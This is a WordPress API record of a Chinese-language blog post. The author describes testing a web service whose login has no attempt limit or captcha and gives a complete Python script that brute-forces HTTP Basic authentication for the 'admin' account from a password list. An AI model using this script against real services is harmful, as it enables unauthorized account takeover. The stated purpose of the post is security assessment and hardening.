﻿{"id":967,"date":"2021-02-21T10:54:32","date_gmt":"2021-02-21T02:54:32","guid":{"rendered":"https:\/\/byy3.com\/?p=967"},"modified":"2021-02-21T10:54:32","modified_gmt":"2021-02-21T02:54:32","slug":"python%e6%9a%b4%e5%8a%9b%e7%a0%b4%e8%a7%a3web%e7%99%bb%e5%bd%95","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=967","title":{"rendered":"Python\u66b4\u529b\u7834\u89e3web\u767b\u5f55"},"content":{"rendered":"<p>\u6700\u8fd1\u505a\u9879\u76ee\uff0c\u9700\u8981\u5bf9\u4e00\u4e2aWeb\u670d\u52a1\u5206\u6790\u5176\u5b89\u5168\u6027\uff0c\u505a\u5b89\u5168\u52a0\u56fa\u3002\u53d1\u73b0\u5176web\u767b\u5f55\u754c\u9762\u4e0d\u9650\u5236\u5bc6\u7801\u8f93\u5165\u6b21\u6570\uff0c\u4e14\u6ca1\u6709\u9a8c\u8bc1\u7801\uff0c\u5c31\u60f3\u5230\u66b4\u529b\u7834\u89e3web\u767b\u5f55\u3002<\/p>\n<p>\u4e00\u3001HTTP Basic\u8ba4\u8bc1<\/p>\n<p>web\u5e94\u7528\u53ef\u4ee5\u901a\u8fc7\u8868\u5355\u63d0\u4ea4\u7528\u6237\u540d\u548c\u5bc6\u7801\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7Basic\u57fa\u672c\u8ba4\u8bc1\u6765\u63d0\u4ea4\uff0c\u901a\u8fc7fiddler\u6293\u5305\u5206\u6790\uff0c\u53d1\u73b0\u6211\u8981\u66b4\u529b\u7834\u89e3\u7684web\u767b\u5f55\u662f\u901a\u8fc7Basic\u57fa\u672c\u8ba4\u8bc1\u6765\u63d0\u4ea4\u7528\u6237\u540d\u548c\u5bc6\u7801\u7684\u3002<\/p>\n<pre><code> Basic\u57fa\u672c\u8ba4\u8bc1\u662f\u628a\u201cusername:passwd\u201d\u505abase64\u7f16\u7801\u4e4b\u540e\uff0c\u653e\u5728http header\u7684Authorization\u5b57\u6bb5\uff0c\u5b9e\u73b0\u8ba4\u8bc1\u767b\u5f55\u3002<\/code><\/pre>\n<p>\u4e8c\u3001\u66b4\u529b\u7834\u89e3<\/p>\n<p>\u66b4\u529b\u7834\u89e3\u7684\u601d\u8def\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u4e00\u6761\u4e00\u6761\u5c1d\u8bd5\u5b57\u5178\u4e2d\u5730\u5bc6\u7801\u76f4\u5230\u7834\u89e3\u6210\u529f\u6216\u8005\u5b57\u5178\u5c1d\u8bd5\u5b8c\u4e5f\u6ca1\u6709\u7834\u89e3\u6210\u529f\u3002<\/p>\n<pre><code> python\u811a\u672c\u63d0\u4f9b\u4e86\"HTTPBasicAuth\"\u6a21\u5757\uff0c\u8ba9\u6211\u4eec\u53ef\u4ee5\u5f88\u65b9\u4fbf\u7684\u53d1\u9001basic\u8ba4\u8bc1\u8bf7\u6c42\u3002\u5b8c\u6574\u7684\u66b4\u529b\u7834\u89e3\u4ee3\u7801\u5982\u4e0b\uff1a<\/code><\/pre>\n<p>import sys<br \/>\nimport requests<br \/>\nimport time<br \/>\nfrom requests.auth import HTTPBasicAuth<\/p>\n<p>def Brute_Force_Web(username,password):<br \/>\nres=requests.get('<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/192.168.1.113:8080\/api\/v1\/login\" rel=\"nofollow\" >http:\/\/192.168.1.113:8080\/api\/v1\/login<\/a>', auth=(username, password));<br \/>\nif res.status_code == 200:<br \/>\nprint (&quot;Crack Sucess!&quot;);<br \/>\nprint (&quot;password:&quot;+password);<br \/>\nexit();<br \/>\nelse:<br \/>\nprint (res.status_code);<\/p>\n<p>def GetPass():<br \/>\nfp = open(&quot;password.txt&quot;,&quot;r&quot;)<br \/>\nif fp == 0:<br \/>\nprint (&quot;open file error!&quot;)<br \/>\nreturn;<br \/>\nwhile 1:<br \/>\nline = fp.readline()<br \/>\nif not line:<br \/>\nbreak<br \/>\npasswd = line.strip('\\n')<br \/>\nBrute_Force_Web(&quot;admin&quot;,passwd);<br \/>\ntime.sleep(10)<br \/>\nGetPass();<\/p>\n<p>\uff08\u6ce8\u610f\uff1a\u7531\u4e8ePython 3\u548cPython 2\u4e0d\u517c\u5bb9\uff0c\u8bf7\u4f7f\u7528Python 3\u6765\u6d4b\u8bd5\u4e0a\u9762\u7684\u4ee3\u7801\uff09<br \/>\n\u4e09\u3001\u6d4b\u8bd5\u603b\u7ed3<\/p>\n<pre><code> \u6d4b\u8bd5\u8fc7\u7a0b\u4e2d\u53d1\u73b0\u6d4b\u8bd5\u5b57\u5178\u4e2d\u4e00\u6761\u5bc6\u7801\u7684\u65f6\u95f4\u5927\u6982\u898110s\u5de6\u53f3\uff0c\u731c\u60f3\u53ef\u80fd\u662fweb\u670d\u52a1\u7684\u76f8\u5e94\u8f83\u6162\u3002<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u6700\u8fd1\u505a\u9879\u76ee\uff0c\u9700\u8981\u5bf9\u4e00\u4e2aWeb\u670d\u52a1\u5206\u6790\u5176\u5b89\u5168\u6027\uff0c\u505a\u5b89\u5168\u52a0\u56fa\u3002\u53d1\u73b0\u5176web\u767b\u5f55\u754c\u9762\u4e0d\u9650\u5236\u5bc6\u7801\u8f93\u5165\u6b21\u6570\uff0c\u4e14\u6ca1\u6709\u9a8c\u8bc1\u7801 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,1],"tags":[488,489,487,485],"class_list":["post-967","post","type-post","status-publish","format-standard","hentry","category-python","category-net-security","tag-python","tag-web","tag-485"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/967","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=967"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/967\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=967"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=967"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=967"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}